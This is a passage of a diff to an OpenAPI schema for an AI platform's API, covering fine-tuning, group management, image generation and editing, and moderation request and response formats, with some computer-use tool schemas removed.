+ For example, a `suffix` of "custom-model-name" would produce a model name like `ft:gpt-4o-mini:openai:custom-model-name:7p4lURel`.
+ type: string
+ minLength: 1
+ maxLength: 64
+ default: null
+ nullable: true
+ validation_file:
+ description: |
+ The ID of an uploaded file that contains validation data.
+
+ If you provide this file, the data is used to generate validation
+ metrics periodically during fine-tuning. These metrics can be viewed in
+ the fine-tuning results file.
+ The same data should not be present in both train and validation files.
+
+ Your dataset must be formatted as a JSONL file. You must upload your file with the purpose `fine-tune`.
+
+ See the [fine-tuning guide](https://developers.openai.com/api/docs/guides/model-optimization) for more details.
+ type: string
+ nullable: true
+ example: file-abc123
+ integrations:
+ type: array
+ description: A list of integrations to enable for your fine-tuning job.
+ nullable: true
+ items:
+ type: object
+ required:
+ - type
+ - wandb
+ properties:
+ type:
+ description: |
+ The type of integration to enable. Currently, only "wandb" (Weights and Biases) is supported.
+ anyOf:
+ - type: string
+ enum:
+ - wandb
+ x-stainless-const: true
+ wandb:
+ type: object
+ description: |
+ The settings for your integration with Weights and Biases. This payload specifies the project that
+ metrics will be sent to. Optionally, you can set an explicit display name for your run, add tags
+ to your run, and set a default entity (team, username, etc) to be associated with your run.
+ required:
+ - project
+ properties:
+ project:
+ description: |
+ The name of the project that the new run will be created under.
+ type: string
+ example: my-wandb-project
+ name:
+ description: |
+ A display name to set for the run. If not set, we will use the Job ID as the name.
+ nullable: true
+ type: string
+ entity:
+ description: |
+ The entity to use for the run. This allows you to set the team or username of the WandB user that you would
+ like associated with the run. If not set, the default entity for the registered WandB API key is used.
+ nullable: true
+ type: string
+ tags:
+ description: |
+ A list of tags to be attached to the newly created run. These tags are passed through directly to WandB. Some
+ default tags are generated by OpenAI: "openai/finetune", "openai/{base-model}", "openai/{ftjob-abcdef}".
+ type: array
+ items:
+ type: string
+ example: custom-tag
+ seed:
+ description: |
+ The seed controls the reproducibility of the job. Passing in the same seed and job parameters should produce the same results, but may differ in rare cases.
+ If a seed is not specified, one will be generated for you.
+ type: integer
+ nullable: true
+ minimum: 0
+ maximum: 2147483647
+ example: 42
+ method:
+ $ref: '#/components/schemas/FineTuneMethod'
+ metadata:
+ $ref: '#/components/schemas/Metadata'
required:
- - prompt_tokens
- - completion_tokens
- - total_tokens
- CompoundFilter:
- $recursiveAnchor: true
+ - model
+ - training_file
+ CreateGroupBody:
type: object
- additionalProperties: false
- title: Compound Filter
- description: Combine multiple filters using `and` or `or`.
+ description: Request payload for creating a new group in the organization.
properties:
- type:
+ name:
+ type: string
+ description: Human readable name for the group.
+ minLength: 1
+ maxLength: 255
+ required:
+ - name
+ x-oaiMeta:
+ example: |
+ {
+ "name": "Support Team"
+ }
+ CreateGroupUserBody:
+ type: object
+ description: Request payload for adding a user to a group.
+ properties:
+ user_id:
+ type: string
+ description: Identifier of the user to add to the group.
+ required:
+ - user_id
+ x-oaiMeta:
+ example: |
+ {
+ "user_id": "user_abc123"
+ }
+ CreateImageEditRequest:
+ type: object
+ properties:
+ image:
+ anyOf:
+ - type: string
+ format: binary
+ - type: array
+ maxItems: 16
+ items:
+ type: string
+ format: binary
+ description: |
+ The image(s) to edit. Must be a supported image file or an array of images.
+
+ For the GPT image models (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`,
+ `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, and `chatgpt-image-latest`), each image
+ should be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to
+ 16 images.
+
+ For `dall-e-2`, you can only provide one image, and it should be a square
+ `png` file less than 4MB.
+ x-oaiMeta:
+ exampleFilePath: otter.png
+ prompt:
+ description: A text description of the desired image(s). The maximum length is 1000 characters for `dall-e-2`, and 32000 characters for the GPT image models.
+ type: string
+ example: A cute baby sea otter wearing a beret
+ mask:
+ description: An additional image whose fully transparent areas (e.g. where alpha is zero) indicate where `image` should be edited. If there are multiple images provided, the mask will be applied on the first image. Must be a valid PNG file, less than 4MB, and have the same dimensions as `image`.
+ type: string
+ format: binary
+ x-oaiMeta:
+ exampleFilePath: mask.png
+ background:
+ type: string
+ enum:
+ - transparent
+ - opaque
+ - auto
+ default: auto
+ example: transparent
+ nullable: true
+ description: |
+ Allows to set transparency for the background of the generated image(s). Must
+ be one of `transparent`, `opaque`, or `auto` (default value). When `auto` is
+ used, the model will automatically determine the best background for the
+ image.
+
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
+ `2026-09-08` snapshots, support `opaque` and `transparent` backgrounds.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
+ model:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - gpt-image-1
+ - gpt-image-1-mini
+ - gpt-image-2
+ - gpt-image-2-2026-04-21
+ - gpt-image-2.5-sunburst
+ - gpt-image-2.5-sunburst-2026-09-08
+ - gpt-image-2.5-flare
+ - gpt-image-2.5-flare-2026-09-08
+ - gpt-image-1.5
+ - chatgpt-image-latest
+ - dall-e-2
+ x-stainless-const: true
+ x-oaiTypeLabel: string
+ description: The model to use for image generation. One of `dall-e-2` or a GPT image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`). Defaults to `gpt-image-1.5`.
+ nullable: true
+ example: gpt-image-2
+ n:
+ type: integer
+ minimum: 1
+ maximum: 10
+ default: 1
+ example: 1
+ nullable: true
+ description: The number of images to generate. Must be between 1 and 10.
+ size:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 256x256
+ - 512x512
+ - 1024x1024
+ - 1536x1024
+ - 1024x1536
+ - auto
+ description: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or `1024x1792`.
+ nullable: true
+ response_format:
type: string
- description: 'Type of operation: `and` or `or`.'
enum:
- - and
- - or
- filters:
- type: array
- description: Array of filters to combine. Items can be `ComparisonFilter` or `CompoundFilter`.
- items:
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/ComparisonFilter'
- - $recursiveRef: '#'
- required:
- - type
- - filters
- x-oaiMeta:
- name: CompoundFilter
- ComputerAction:
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/ClickParam'
- - $ref: '#/components/schemas/DoubleClickAction'
- - $ref: '#/components/schemas/DragParam'
- - $ref: '#/components/schemas/KeyPressAction'
- - $ref: '#/components/schemas/MoveParam'
- - $ref: '#/components/schemas/ScreenshotParam'
- - $ref: '#/components/schemas/ScrollParam'
- - $ref: '#/components/schemas/TypeParam'
- - $ref: '#/components/schemas/WaitParam'
- ComputerActionList:
- title: Computer Action List
- type: array
- description: |
- Flattened batched actions for `computer_use`. Each action includes an
- `type` discriminator and action-specific fields.
- items:
- $ref: '#/components/schemas/ComputerAction'
- ComputerScreenshotImage:
- type: object
- description: |
- A computer screenshot image used with the computer use tool.
- properties:
- type:
+ - url
+ - b64_json
+ example: url
+ nullable: true
+ description: The format in which the generated images are returned. Must be one of `url` or `b64_json`. URLs are only valid for 60 minutes after the image has been generated. This parameter is only supported for `dall-e-2` (default is `url` for `dall-e-2`), as GPT image models always return base64-encoded images.
+ output_format:
type: string
enum:
- - computer_screenshot
- default: computer_screenshot
- description: "Specifies the event type. For a computer screenshot, this property is \nalways set to `computer_screenshot`.\n"
- x-stainless-const: true
- image_url:
+ - png
+ - jpeg
+ - webp
+ default: png
+ example: png
+ nullable: true
+ description: |
+ The format in which the generated images are returned. This parameter is
+ only supported for the GPT image models. Must be one of `png`, `jpeg`, or `webp`.
+ The default value is `png`.
+ output_compression:
+ type: integer
+ default: 100
+ example: 100
+ nullable: true
+ description: |
+ The compression level (0-100%) for the generated images. This parameter
+ is only supported for the GPT image models with the `webp` or `jpeg` output
+ formats, and defaults to 100.
+ user:
type: string
- format: uri
- description: The URL of the screenshot image.
- file_id:
+ example: user-1234
+ description: |
+ A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
+ input_fidelity:
+ anyOf:
+ - $ref: '#/components/schemas/InputFidelity'
+ - type: 'null'
+ description: Controls fidelity to the original input image(s). This parameter is supported for GPT image models that support input fidelity. `gpt-image-2` and `gpt-image-2-2026-04-21` ignore this parameter.
+ stream:
+ type: boolean
+ default: false
+ example: false
+ nullable: true
+ description: |
+ Edit the image in streaming mode. Defaults to `false`. See the
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation) for more information.
+ partial_images:
+ $ref: '#/components/schemas/PartialImages'
+ quality:
type: string
- description: The identifier of an uploaded file that contains the screenshot.
+ enum:
+ - standard
+ - low
+ - medium
+ - high
+ - xhigh
+ - max
+ - auto
+ default: auto
+ example: high
+ nullable: true
+ description: |
+ The quality of the image that will be generated for GPT image models. The GPT image models support `low`, `medium`, and `high`. `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08` snapshots, also support `xhigh` and `max`. Defaults to `auto`.
required:
- - type
- ComputerToolCall:
+ - prompt
+ - image
+ CreateImageRequest:
type: object
- title: Computer tool call
- description: |
- A tool call to a computer use tool. See the
- [computer use guide](https://developers.openai.com/api/docs/guides/tools-computer-use) for more information.
properties:
- type:
+ prompt:
+ description: A text description of the desired image(s). The maximum length is 32000 characters for the GPT image models, 1000 characters for `dall-e-2` and 4000 characters for `dall-e-3`.
+ type: string
+ example: A cute baby sea otter
+ model:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - gpt-image-1
+ - gpt-image-1-mini
+ - gpt-image-2
+ - gpt-image-2-2026-04-21
+ - gpt-image-2.5-sunburst
+ - gpt-image-2.5-sunburst-2026-09-08
+ - gpt-image-2.5-flare
+ - gpt-image-2.5-flare-2026-09-08
+ - gpt-image-1.5
+ - chatgpt-image-latest
+ - dall-e-2
+ - dall-e-3
+ x-stainless-nominal: false
+ x-oaiTypeLabel: string
+ description: The model to use for image generation. One of `dall-e-2`, `dall-e-3`, or a GPT image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, `gpt-image-2.5-flare-2026-09-08`). Defaults to `dall-e-2` unless a parameter specific to the GPT image models is used.
+ nullable: true
+ example: gpt-image-2
+ n:
+ type: integer
+ minimum: 1
+ maximum: 10
+ default: 1
+ example: 1
+ nullable: true
+ description: The number of images to generate. Must be between 1 and 10. For `dall-e-3`, only `n=1` is supported.
+ quality:
type: string
- description: The type of the computer call. Always `computer_call`.
enum:
- - computer_call
- default: computer_call
- id:
+ - standard
+ - hd
+ - low
+ - medium
+ - high
+ - xhigh
+ - max
+ - auto
+ default: auto
+ example: medium
+ nullable: true
+ description: |
+ The quality of the image that will be generated.
+
+ - `auto` (default value) will automatically select the best quality for the given
+ model.
+ - `high`, `medium` and `low` are supported for the GPT image models.
+ - `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, also support `xhigh` and `max`.
+ - `hd` and `standard` are supported for `dall-e-3`.
+ - `standard` is the only option for `dall-e-2`.
+ response_format:
type: string
- description: The unique ID of the computer call.
- call_id:
+ enum:
+ - url
+ - b64_json
+ default: url
+ example: url
+ nullable: true
+ description: The format in which generated images with `dall-e-2` and `dall-e-3` are returned. Must be one of `url` or `b64_json`. URLs are only valid for 60 minutes after the image has been generated. This parameter isn't supported for the GPT image models, which always return base64-encoded images.
+ output_format:
type: string
+ enum:
+ - png
+ - jpeg
+ - webp
+ default: png
+ example: png
+ nullable: true
+ description: The format in which the generated images are returned. This parameter is only supported for the GPT image models. Must be one of `png`, `jpeg`, or `webp`.
+ output_compression:
+ type: integer
+ default: 100
+ example: 100
+ nullable: true
+ description: The compression level (0-100%) for the generated images. This parameter is only supported for the GPT image models with the `webp` or `jpeg` output formats, and defaults to 100.
+ stream:
+ type: boolean
+ default: false
+ example: false
+ nullable: true
description: |
- An identifier used when responding to the tool call with output.
- action:
- $ref: '#/components/schemas/LegacyComputerAction'
- actions:
- $ref: '#/components/schemas/ComputerActionList'
- pending_safety_checks:
- type: array
- items:
- $ref: '#/components/schemas/ComputerCallSafetyCheckParam'
- description: |
- The pending safety checks for the computer call.
- status:
+ Generate the image in streaming mode. Defaults to `false`. See the
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation) for more information.
+ This parameter is only supported for the GPT image models.
+ partial_images:
+ $ref: '#/components/schemas/PartialImages'
+ size:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - auto
+ - 1024x1024
+ - 1536x1024
+ - 1024x1536
+ - 256x256
+ - 512x512
+ - 1792x1024
+ - 1024x1792
+ description: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or `1024x1792`.
+ nullable: true
+ moderation:
+ type: string
+ enum:
+ - low
+ - auto
+ default: auto
+ example: low
+ nullable: true
+ description: Control the content-moderation level for images generated by the GPT image models. Must be either `low` for less restrictive filtering or `auto` (default value).
+ background:
type: string
+ enum:
+ - transparent
+ - opaque
+ - auto
+ default: auto
+ example: transparent
+ nullable: true
description: |
- The status of the item. One of `in_progress`, `completed`, or
- `incomplete`. Populated when items are returned via API.
+ Allows to set transparency for the background of the generated image(s). Must
+ be one of `transparent`, `opaque`, or `auto` (default value). When `auto` is
+ used, the model will automatically determine the best background for the
+ image.
+
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
+ `2026-09-08` snapshots, support `opaque` and `transparent` backgrounds.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
+ style:
+ type: string
enum:
- - in_progress
- - completed
- - incomplete
+ - vivid
+ - natural
+ default: vivid
+ example: vivid
+ nullable: true
+ description: The style of the generated images. This parameter is only supported for `dall-e-3`. Must be one of `vivid` or `natural`. Vivid causes the model to lean towards generating hyper-real and dramatic images. Natural causes the model to produce more natural, less hyper-real looking images.
+ user:
+ type: string
+ example: user-1234
+ description: |
+ A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
required:
- - type
- - id
- - call_id
- - pending_safety_checks
- - status
- ComputerToolCallOutput:
+ - prompt
+ CreateImageVariationRequest:
type: object
- title: Computer tool call output
- description: |
- The output of a computer tool call.
properties:
- type:
+ image:
+ description: The image to use as the basis for the variation(s). Must be a valid PNG file, less than 4MB, and square.
+ type: string
+ format: binary
+ x-oaiMeta:
+ exampleFilePath: otter.png
+ model:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - dall-e-2
+ x-stainless-const: true
+ x-oaiTypeLabel: string
+ description: The model to use for image generation. Only `dall-e-2` is supported at this time.
+ nullable: true
+ n:
+ type: integer
+ minimum: 1
+ maximum: 10
+ default: 1
+ example: 1
+ nullable: true
+ description: The number of images to generate. Must be between 1 and 10.
+ response_format:
type: string
- description: |
- The type of the computer tool call output. Always `computer_call_output`.
enum:
- - computer_call_output
- default: computer_call_output
- x-stainless-const: true
- id:
+ - url
+ - b64_json
+ default: url
+ example: url
+ nullable: true
+ description: The format in which the generated images are returned. Must be one of `url` or `b64_json`. URLs are only valid for 60 minutes after the image has been generated.
+ size:
type: string
- description: |
- The ID of the computer tool call output.
- call_id:
+ enum:
+ - 256x256
+ - 512x512
+ - 1024x1024
+ default: 1024x1024
+ example: 1024x1024
+ nullable: true
+ description: The size of the generated images. Must be one of `256x256`, `512x512`, or `1024x1024`.
+ user:
type: string
+ example: user-1234
description: |
- The ID of the computer tool call that produced the output.
- acknowledged_safety_checks:
- type: array
- description: |
- The safety checks reported by the API that have been acknowledged by the
- developer.
- items:
- $ref: '#/components/schemas/ComputerCallSafetyCheckParam'
- output:
- $ref: '#/components/schemas/ComputerScreenshotImage'
- status:
+ A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
+ required:
+ - image
+ CreateMessageRequest:
+ type: object
+ additionalProperties: false
+ required:
+ - role
+ - content
+ properties:
+ role:
type: string
- description: |
- The status of the message input. One of `in_progress`, `completed`, or
- `incomplete`. Populated when input items are returned via API.
enum:
- - in_progress
- - completed
- - incomplete
- required:
- - type
- - call_id
- - output
- ComputerToolCallOutputResource:
+ - user
+ - assistant
+ description: |
+ The role of the entity that is creating the message. Allowed values include:
+ - `user`: Indicates the message is sent by an actual user and should be used in most cases to represent user-generated messages.
+ - `assistant`: Indicates the message is generated by the assistant. Use this value to insert messages from the assistant into the conversation.
+ content:
+ anyOf:
+ - type: string
+ description: The text contents of the message.
+ title: Text content
+ - type: array
+ description: An array of content parts with a defined type, each can be of type `text` or images can be passed with `image_url` or `image_file`. Image types are only supported on [Vision-compatible models](https://developers.openai.com/api/docs/models).
+ title: Array of content parts
+ items:
+ anyOf:
+ - $ref: '#/components/schemas/MessageContentImageFileObject'
+ - $ref: '#/components/schemas/MessageContentImageUrlObject'
+ - $ref: '#/components/schemas/MessageRequestContentTextObject'
+ discriminator:
+ propertyName: type
+ minItems: 1
+ attachments:
+ anyOf:
+ - type: array
+ items:
+ type: object
+ properties:
+ file_id:
+ type: string
+ description: The ID of the file to attach to the message.
+ tools:
+ description: The tools to add this file to.
+ type: array
+ items:
+ anyOf:
+ - $ref: '#/components/schemas/AssistantToolsCode'
+ - $ref: '#/components/schemas/AssistantToolsFileSearchTypeOnly'
+ discriminator:
+ propertyName: type
+ description: A list of files attached to the message, and the tools they should be added to.
+ required:
+ - file_id
+ - tools
+ - type: 'null'
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ CreateModelResponseProperties:
allOf:
- - $ref: '#/components/schemas/ComputerToolCallOutput'
+ - $ref: '#/components/schemas/ModelResponseProperties'
- type: object
properties:
- id:
- type: string
- description: |
- The unique ID of the computer call tool output.
- status:
- description: |
- The status of the message input. One of `in_progress`, `completed`, or
- `incomplete`. Populated when input items are returned via API.
- $ref: '#/components/schemas/ComputerCallOutputStatus'
- created_by:
- type: string
+ prompt_cache_options:
+ $ref: '#/components/schemas/PromptCacheOptionsParam'
+ top_logprobs:
description: |
- The identifier of the actor that created the item.
- required:
- - id
- - status
- ContainerFileListResource:
+ An integer between 0 and 20 specifying the maximum number of most likely
+ tokens to return at each token position, each with an associated log
+ probability. In some cases, the number of returned tokens may be fewer than
+ requested.
+ type: integer
+ minimum: 0
+ maximum: 20
+ CreateModerationRequest:
type: object
properties:
- object:
- description: The type of object returned, must be 'list'.
- const: list
- data:
- type: array
- description: A list of container files.
- items:
- $ref: '#/components/schemas/ContainerFileResource'
- first_id:
- type: string
- description: The ID of the first file in the list.
- last_id:
- type: string
- description: The ID of the last file in the list.
- has_more:
- type: boolean
- description: Whether there are more files available.
+ input:
+ description: |
+ Input (or inputs) to classify. Can be a single string, an array of strings, or
+ an array of multi-modal input objects similar to other models.
+ anyOf:
+ - type: string
+ description: A string of text to classify for moderation.
+ default: ''
+ example: I want to kill them.
+ - type: array
+ description: An array of strings to classify for moderation.
+ items:
+ type: string
+ default: ''
+ example: I want to kill them.
+ - type: array
+ description: An array of multi-modal inputs to the moderation model.
+ items:
+ anyOf:
+ - $ref: '#/components/schemas/ModerationImageURLInput'
+ description: An object describing an image to classify.
+ - $ref: '#/components/schemas/ModerationTextInput'
+ description: An object describing text to classify.
+ discriminator:
+ propertyName: type
+ title: Moderation Multi Modal Array
+ model:
+ description: |
+ The content moderation model you would like to use. Learn more in
+ [the moderation guide](https://developers.openai.com/api/docs/guides/moderation), and learn about
+ available models [here](https://developers.openai.com/api/docs/guides/moderation).
+ nullable: false
+ x-oaiTypeLabel: string
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - omni-moderation-latest
+ - omni-moderation-2024-09-26
+ - text-moderation-latest
+ - text-moderation-stable
+ x-stainless-nominal: false
required:
- - object
- - data
- - first_id
- - last_id
- - has_more
- ContainerFileResource:
+ - input
+ CreateModerationResponse:
type: object
- title: The container file object
+ description: Represents if a given text input is potentially harmful.
properties:
id:
type: string
- description: Unique identifier for the file.
- object:
- type: string
- description: The type of this object (`container.file`).
- const: container.file
- container_id:
- type: string
- description: The container this file belongs to.
- created_at:
- type: integer
- format: unixtime
- description: Unix timestamp (in seconds) when the file was created.
- bytes:
- type: integer
- description: Size of the file in bytes.
- path:
- type: string
- description: Path of the file in the container.
- source:
+ description: The unique identifier for the moderation request.
+ model:
type: string
- description: Source of the file (e.g., `user`, `assistant`).
+ description: The model used to generate the moderation results.
+ results:
+ type: array
+ description: A list of moderation objects.
+ items:
+ type: object
+ properties:
+ flagged:
+ type: boolean
+ description: Whether any of the below categories are flagged.
+ categories:
+ type: object
+ description: A list of the categories, and whether they are flagged or not.
+ properties:
+ hate:
+ type: boolean
+ description: Content that expresses, incites, or promotes hate based on race, gender, ethnicity, religion, nationality, sexual orientation, disability status, or caste. Hateful content aimed at non-protected groups (e.g., chess players) is harassment.
+ hate/threatening:
+ type: boolean
+ description: Hateful content that also includes violence or serious harm towards the targeted group based on race, gender, ethnicity, religion, nationality, sexual orientation, disability status, or caste.
+ harassment:
+ type: boolean
+ description: Content that expresses, incites, or promotes harassing language towards any target.
+ harassment/threatening:
+ type: boolean
+ description: Harassment content that also includes violence or serious harm towards any target.
+ illicit:
+ anyOf:
+ - type: boolean
+ description: Content that includes instructions or advice that facilitate the planning or execution of wrongdoing, or that gives advice or instruction on how to commit illicit acts. For example, "how to shoplift" would fit this category.
+ - type: 'null'
+ illicit/violent:
+ anyOf:
+ - type: boolean
+ description: Content that includes instructions or advice that facilitate the planning or execution of wrongdoing that also includes violence, or that gives advice or instruction on the procurement of any weapon.
+ - type: 'null'
+ self-harm:
+ type: boolean
+ description: Content that promotes, encourages, or depicts acts of self-harm, such as suicide, cutting, and eating disorders.
+ self-harm/intent:
+ type: boolean
+ description: Content where the speaker expresses that they are engaging or intend to engage in acts of self-harm, such as suicide, cutting, and eating disorders.
+ self-harm/instructions:
+ type: boolean
+ description: Content that encourages performing acts of self-harm, such as suicide, cutting, and eating disorders, or that gives instructions or advice on how to commit such acts.
+ sexual:
+ type: boolean
+ description: Content meant to arouse sexual excitement, such as the description of sexual activity, or that promotes sexual services (excluding sex education and wellness).
+ sexual/minors:
+ type: boolean
+ description: Sexual content that includes an individual who is under 18 years old.
+ violence:
+ type: boolean
+ description: Content that depicts death, violence, or physical injury.
+ violence/graphic:
+ type: boolean
+ description: Content that depicts death, violence, or physical injury in graphic detail.
+ required:
+ - hate
+ - hate/threatening
+ - harassment
+ - harassment/threatening
+ - illicit
+ - illicit/violent
+ - self-harm
+ - self-harm/intent
+ - self-harm/instructions
+ - sexual
+ - sexual/minors
+ - violence
+ - violence/graphic
+ category_scores:
+ type: object
+ description: A list of the categories along with their scores as predicted by model.
+ properties:
+ hate:
+ type: number
+ description: The score for the category 'hate'.
+ hate/threatening:
+ type: number
+ description: The score for the category 'hate/threatening'.
+ harassment:
+ type: number
+ description: The score for the category 'harassment'.
+ harassment/threatening:
+ type: number
+ description: The score for the category 'harassment/threatening'.
+ illicit:
+ type: number
+ description: The score for the category 'illicit'.
+ illicit/violent:
+ type: number
+ description: The score for the category 'illicit/violent'.
+ self-harm:
+ type: number
+ description: The score for the category 'self-harm'.
+ self-harm/intent:
+ type: number
+ description: The score for the category 'self-harm/intent'.
+ self-harm/instructions:
+ type: number
+ description: The score for the category 'self-harm/instructions'.
+ sexual:
+ type: number
+ description: The score for the category 'sexual'.
+ sexual/minors:
+ type: number
+ description: The score for the category 'sexual/minors'.
+ violence:
+ type: number
+ description: The score for the category 'violence'.
+ violence/graphic:
+ type: number
+ description: The score for the category 'violence/graphic'.
+ required:
+ - hate
+ - hate/threatening
+ - harassment
+ - harassment/threatening
+ - illicit
+ - illicit/violent
+ - self-harm
+ - self-harm/intent
+ - self-harm/instructions
+ - sexual
+ - sexual/minors
+ - violence
+ - violence/graphic
+ category_applied_input_types:
+ type: object
+ description: A list of the categories along with the input type(s) that the score applies to.
+ properties:
+ hate:
+ type: array
+ description: The applied input type(s) for the category 'hate'.
+ items:
+ type: string
+ enum:
+ - text
+ x-stainless-const: true
+ hate/threatening:
+ type: array
+ description: The applied input type(s) for the category 'hate/threatening'.
+ items:
+ type: string
+ enum:
+ - text
+ x-stainless-const: true
+ harassment:
+ type: array
+ description: The applied input type(s) for the category 'harassment'.
+ items:
+ type: string
+ enum:
+ - text
+ x-stainless-const: true
+ harassment/threatening:
+ type: array
+ description: The applied input type(s) for the category 'harassment/threatening'.
+ items:
+ type: string
+ enum:
+ - text
+ x-stainless-const: true
+ illicit:
+ type: array
+ description: The applied input type(s) for the category 'illicit'.
+ items:
+ type: string
+ enum:
+ - text
+ x-stainless-const: true
+ illicit/violent:
+ type: array
+ description: The applied input type(s) for the category 'illicit/violent'.
+ items:
+ type: string
+ enum:
+ - text
+ x-stainless-const: true
+ self-harm:
+ type: array
+ description: The applied input type(s) for the category 'self-harm'.
+ items:
+ type: string
+ enum:
+ - text
+ - image
+ self-harm/intent:
+ type: array
+ description: The applied input type(s) for the category 'self-harm/intent'.
+ items:
+ type: string
+ enum:
+ - text
+ - image
+ self-harm/instructions:
+ type: array
+ description: The applied input type(s) for the category 'self-harm/instructions'.
+ items:
+ type: string
+ enum:
+ - text
+ - image
+ sexual:
+ type: array
+ description: The applied input type(s) for the category 'sexual'.
+ items:
+ type: string
+ enum:
+ - text
+ - image
+ sexual/minors:
+ type: array
+ description: The applied input type(s) for the category 'sexual/minors'.
+ items:
+ type: string
+ enum:
+ - text
+ x-stainless-const: true
+ violence:
+ type: array
+ description: The applied input type(s) for the category 'violence'.
+ items:
+ type: string
+ enum:
+ - text
+ - image
+ violence/graphic:
+ type: array
+ description: The applied input type(s) for the category 'violence/graphic'.
+ items:
+ type: string
+ enum:
+ - text
+ - image
+ required:
+ - hate
+ - hate/threatening
+ - harassment
+ - harassment/threatening
+ - illicit
+ - illicit/violent
+ - self-harm
+ - self-harm/intent
+ - self-harm/instructions
+ - sexual
+ - sexual/minors
+ - violence
+ - violence/graphic
+ required:
+ - flagged
+ - categories
+ - category_scores
+ - category_applied_input_types
required:
- id
- - object
- - created_at
- - bytes
- - container_id
- - path
- - source
+ - model
+ - results
x-oaiMeta:
- name: The container file object
+ name: The moderation object
example: |
{
- "id": "cfile_682e0e8a43c88191a7978f477a09bdf5",
- "object": "container.file",
- "created_at": 1747848842,
- "bytes": 880,
- "container_id": "cntr_682e0e7318108198aa783fd921ff305e08e78805b9fdbb04",
- "path": "/mnt/data/88e12fa445d32636f190a0b33daed6cb-tsconfig.json",
- "source": "user"
+ "id": "modr-0d9740456c391e43c445bf0f010940c7",
+ "model": "omni-moderation-latest",
+ "results": [
+ {
+ "flagged": true,
+ "categories": {
+ "harassment": true,
+ "harassment/threatening": true,
+ "sexual": false,
+ "hate": false,
+ "hate/threatening": false,
+ "illicit": false,
+ "illicit/violent": false,
+ "self-harm/intent": false,
+ "self-harm/instructions": false,
+ "self-harm": false,
+ "sexual/minors": false,
+ "violence": true,
+ "violence/graphic": true
+ },
+ "category_scores": {
+ "harassment": 0.8189693396524255,
+ "harassment/threatening": 0.804985420696006,
+ "sexual": 1.573112165348997e-6,
+ "hate": 0.007562942636942845,
+ "hate/threatening": 0.004208854591835476,
+ "illicit": 0.030535955153511665,
+ "illicit/violent": 0.008925306722380033,
+ "self-harm/intent": 0.00023023930975076432,
+ "self-harm/instructions": 0.0002293869201073356,
+ "self-harm": 0.012598046106750154,
+ "sexual/minors": 2.212566909570261e-8,
+ "violence": 0.9999992735124786,
+ "violence/graphic": 0.843064871157054
+ },
+ "category_applied_input_types": {
+ "harassment": [
+ "text"
+ ],
+ "harassment/threatening": [
+ "text"
+ ],
+ "sexual": [
+ "text",
+ "image"
+ ],
+ "hate": [
+ "text"
+ ],
+ "hate/threatening": [
